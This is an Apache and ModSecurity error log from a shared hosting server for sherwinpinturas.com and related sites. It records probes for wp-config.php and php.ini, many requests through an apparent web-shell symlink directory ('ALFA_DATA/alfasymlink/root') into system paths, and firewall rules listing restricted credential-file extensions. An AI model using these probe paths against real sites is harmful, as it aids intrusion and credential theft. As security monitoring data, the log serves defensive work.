[Tue Oct 27 13:11:16.192460 2026] [security2:error] [pid 3268402:tid 3268402] [client 185.191.171.5:37462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/plantas1.sherwinpinturas.com/dns_cache.db"] [unique_id "auDbNFkSJh9YctB3ycD02AAAACw"]
[Tue Oct 27 13:11:17.238383 2026] [security2:error] [pid 3268478:tid 3268478] [client 43.165.65.117:49934] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auDbNTML_sloZj7fRoeowQAAAE8"], referer: http://sherwinpinturas.com
[Tue Oct 27 13:11:17.456586 2026] [authz_core:error] [pid 3268478:tid 3268478] [client 43.165.65.117:49934] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Tue Oct 27 13:11:19.864923 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 54.159.98.248:5475] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:11:21.244755 2026] [core:error] [pid 3268405:tid 3268405] (13)Permission denied: [client 85.208.96.199:16220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/hwcache_align
[Tue Oct 27 13:11:22.359932 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 185.191.171.9:64290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:11:31.654818 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 18.213.102.186:49352] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:11:35.815499 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 35.171.117.160:54682] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:11:39.775426 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 54.84.161.62:18592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:02.244663 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 185.191.171.2:26696] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:03.868329 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 52.1.106.130:10907] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:11.650547 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 52.205.222.214:37424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:23.741173 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 3.224.215.150:3165] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:27.880346 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 18.215.112.101:40228] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:35.697579 2026] [security2:error] [pid 3268396:tid 3268396] [client 54.163.169.168:63527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/device/event1/subsystem/input4/subsystem/input3/event3/"] [unique_id "auDbg-jT38MV1IcUTroNEwAAACY"]
[Tue Oct 27 13:12:35.697626 2026] [security2:error] [pid 3268396:tid 3268396] [client 54.163.169.168:63527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/device/event1/subsystem/input4/subsystem/input3/event3/"] [unique_id "auDbg-jT38MV1IcUTroNEwAAACY"]
[Tue Oct 27 13:12:39.703630 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.236.135.14:36802] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:42.310483 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 185.191.171.14:17114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/poison
[Tue Oct 27 13:12:47.750832 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 34.196.6.199:64027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:51.719430 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 44.209.89.189:29065] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:12:56.284026 2026] [security2:error] [pid 3269335:tid 3269335] [client 101.32.49.171:40486] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDbmAbf3KFtuIsifZNJDQAAAAA"]
[Tue Oct 27 13:12:56.285303 2026] [authz_core:error] [pid 3269335:tid 3269335] [client 101.32.49.171:40486] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:12:59.705786 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 34.206.249.188:62640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:13:23.764370 2026] [core:error] [pid 3268405:tid 3268405] (13)Permission denied: [client 52.205.141.124:19635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:12/eject
[Tue Oct 27 13:13:32.239412 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 52.202.233.37:40391] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:13:35.723218 2026] [ssl:error] [pid 3269335:tid 3269335] (70014)End of file found: [client 54.235.172.96:33806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:13:38.054868 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61255] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDbts12Z0h54eBnbA_nqgAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:13:38.054924 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61255] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDbts12Z0h54eBnbA_nqgAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:13:47.779650 2026] [ssl:error] [pid 3265882:tid 3265882] (5)Input/output error: [client 34.205.170.13:16091] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:13:51.668694 2026] [ssl:error] [pid 3269335:tid 3269335] (5)Input/output error: [client 23.23.212.212:11183] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:14:07.933097 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 3.219.80.71:26525] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:14:11.786447 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 54.243.63.52:54488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:14:16.096243 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 3.224.205.25:29647] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:14:35.741298 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 54.225.199.17:46190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/cpu1/driver/bind
[Tue Oct 27 13:14:39.692283 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 52.3.102.51:8779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:14:39.800584 2026] [authz_core:error] [pid 3270272:tid 3270272] [client 20.24.222.184:11745] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:14:41.621549 2026] [security2:error] [pid 3270272:tid 3270272] [client 20.24.222.184:11745] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "mail.curso-de-ventas.com"] [uri "/wp-config.php"] [unique_id "auDcAbOqazz-p1KuDMqrigAAAAU"]
[Tue Oct 27 13:14:41.621825 2026] [security2:error] [pid 3270272:tid 3270272] [client 20.24.222.184:11745] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.curso-de-ventas.com"] [uri "/wp-config.php"] [unique_id "auDcAbOqazz-p1KuDMqrigAAAAU"]
[Tue Oct 27 13:14:41.622172 2026] [security2:error] [pid 3270272:tid 3270272] [client 20.24.222.184:11745] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "mail.curso-de-ventas.com"] [uri "/wp-config.php"] [unique_id "auDcAbOqazz-p1KuDMqrigAAAAU"]
[Tue Oct 27 13:14:58.038928 2026] [security2:error] [pid 3265870:tid 3265870] [client 107.172.76.131:61256] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDcBRPIAz20_HBUJWdYGAAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 13:14:58.038992 2026] [security2:error] [pid 3265870:tid 3265870] [client 107.172.76.131:61256] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDcBRPIAz20_HBUJWdYGAAAAAw"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 13:14:59.586531 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 54.197.178.107:12659] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:03.642892 2026] [ssl:error] [pid 3266317:tid 3266317] (5)Input/output error: [client 54.85.7.119:36822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:09.785793 2026] [authz_core:error] [pid 3265911:tid 3265911] [client 195.178.110.50:18158] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:15:11.571856 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 3.222.190.107:19997] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:15.671822 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 100.29.160.53:31958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:16.257709 2026] [security2:error] [pid 3268332:tid 3268332] [client 107.172.76.131:61200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDcGIS8cTYpaSI0hDQ7kwAAAB4"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:15:16.257761 2026] [security2:error] [pid 3268332:tid 3268332] [client 107.172.76.131:61200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDcGIS8cTYpaSI0hDQ7kwAAAB4"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:15:19.772655 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 44.205.120.22:52551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:23.786248 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 3.219.81.66:19892] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:30.236352 2026] [security2:error] [pid 3268478:tid 3268478] [client 185.191.171.7:53108] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/tty/tty50/subsystem/"] [unique_id "auDcMjML_sloZj7fRoeoyAAAAE8"]
[Tue Oct 27 13:15:30.236418 2026] [security2:error] [pid 3268478:tid 3268478] [client 185.191.171.7:53108] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/tty/tty50/subsystem/"] [unique_id "auDcMjML_sloZj7fRoeoyAAAAE8"]
[Tue Oct 27 13:15:31.789715 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 35.171.117.160:27644] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:38.395742 2026] [security2:error] [pid 3266317:tid 3266317] [client 170.106.140.110:40332] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/package.json"] [unique_id "auDcOlpe8OyRxW4q_kxnZAAAAAM"]
[Tue Oct 27 13:15:47.909420 2026] [ssl:error] [pid 3268396:tid 3268396] (70014)End of file found: [client 54.225.148.123:26496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:15:48.804068 2026] [security2:error] [pid 3268454:tid 3268454] [client 40.64.100.180:7177] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auDcROja8HCE5w22Bu78dwAAAEA"]
[Tue Oct 27 13:15:48.804101 2026] [security2:error] [pid 3268454:tid 3268454] [client 40.64.100.180:7177] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auDcROja8HCE5w22Bu78dwAAAEA"]
[Tue Oct 27 13:15:59.687134 2026] [core:error] [pid 3270272:tid 3270272] (13)Permission denied: [client 54.197.178.107:54668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource0
[Tue Oct 27 13:16:11.717780 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 18.205.127.11:26137] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:16:15.648991 2026] [core:error] [pid 3270272:tid 3270272] (13)Permission denied: [client 100.27.153.9:40906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/module/uevent
[Tue Oct 27 13:16:27.705657 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 3.221.50.71:11519] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/input1/device/driver/serio0/drvctl
[Tue Oct 27 13:16:31.761382 2026] [core:error] [pid 3271001:tid 3271001] (13)Permission denied: [client 34.236.41.241:17670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/physical_node/driver/bind
[Tue Oct 27 13:16:35.760693 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 3.220.148.166:16841] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:16:47.684847 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 3.226.106.93:18883] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:16:55.698118 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.205.163.103:63194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:16:59.698003 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 184.72.95.195:36627] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:17:04.502962 2026] [core:error] [pid 3271001:tid 3271001] (13)Permission denied: [client 85.208.96.208:52910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/shrink
[Tue Oct 27 13:17:07.814304 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 107.23.62.75:55238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:17:15.738924 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 34.236.135.14:33390] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:17:19.666662 2026] [core:error] [pid 3269335:tid 3269335] (13)Permission denied: [client 98.83.178.66:54116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory14/node0/subsystem/drivers_probe
[Tue Oct 27 13:17:27.686670 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 107.20.181.148:60275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:17:32.355658 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 52.4.229.9:20782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:17:39.775818 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 52.45.77.169:40783] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:17:59.833853 2026] [ssl:error] [pid 3271651:tid 3271651] (70014)End of file found: [client 52.45.29.57:44130] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:04.205133 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 52.203.152.231:57275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:08.173789 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 34.194.233.48:23121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:15.681364 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 98.83.10.183:55075] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:19.689978 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 34.205.170.13:19488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:43.728539 2026] [ssl:error] [pid 3271001:tid 3271001] (70014)End of file found: [client 54.92.171.106:31169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:51.893153 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 184.73.167.217:24638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:55.876763 2026] [ssl:error] [pid 3268402:tid 3268402] (5)Input/output error: [client 54.235.191.179:37611] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:18:59.626199 2026] [ssl:error] [pid 3265911:tid 3265911] (70014)End of file found: [client 54.86.59.155:35270] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:19:19.751656 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 3.219.80.71:32729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory4/subsystem/uevent
[Tue Oct 27 13:19:22.853465 2026] [core:error] [pid 3265904:tid 3265904] (13)Permission denied: [client 185.191.171.8:24562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/poison
[Tue Oct 27 13:19:23.745223 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 3.93.253.174:34447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:19:27.904282 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 52.203.65.83:42143] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:19:31.681237 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 18.232.12.157:43474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:19:39.722415 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 54.84.93.8:56962] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:19:43.743731 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 3.221.222.168:4806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:19:47.925883 2026] [core:error] [pid 3265904:tid 3265904] (13)Permission denied: [client 23.21.225.190:42741] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/clk-pmc-atom/bind
[Tue Oct 27 13:19:51.672909 2026] [ssl:error] [pid 3270272:tid 3270272] (70014)End of file found: [client 18.211.148.239:41333] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:20:11.553390 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 50.16.216.166:21151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:20:12.096179 2026] [security2:error] [pid 3268402:tid 3268402] [client 170.106.11.141:55106] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDdTFkSJh9YctB3ycD1GwAAACw"]
[Tue Oct 27 13:20:12.097468 2026] [authz_core:error] [pid 3268402:tid 3268402] [client 170.106.11.141:55106] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:20:15.965280 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 44.223.232.55:35553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:20:43.710679 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.204.150.196:31105] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:20:57.771048 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 85.208.96.208:12932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/poison
[Tue Oct 27 13:20:59.508573 2026] [security2:error] [pid 3269335:tid 3269335] [client 85.208.96.197:50488] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/selinux-policy.conf"] [unique_id "auDdewbf3KFtuIsifZNJHwAAAAA"]
[Tue Oct 27 13:20:59.508993 2026] [security2:error] [pid 3269335:tid 3269335] [client 85.208.96.197:50488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/selinux-policy.conf"] [unique_id "auDdewbf3KFtuIsifZNJHwAAAAA"]
[Tue Oct 27 13:20:59.509398 2026] [security2:error] [pid 3269335:tid 3269335] [client 85.208.96.197:50488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/lib/tmpfiles.d/selinux-policy.conf"] [unique_id "auDdewbf3KFtuIsifZNJHwAAAAA"]
[Tue Oct 27 13:20:59.858061 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 35.171.117.160:29243] AH02013: coalesce failed to read from data bucket
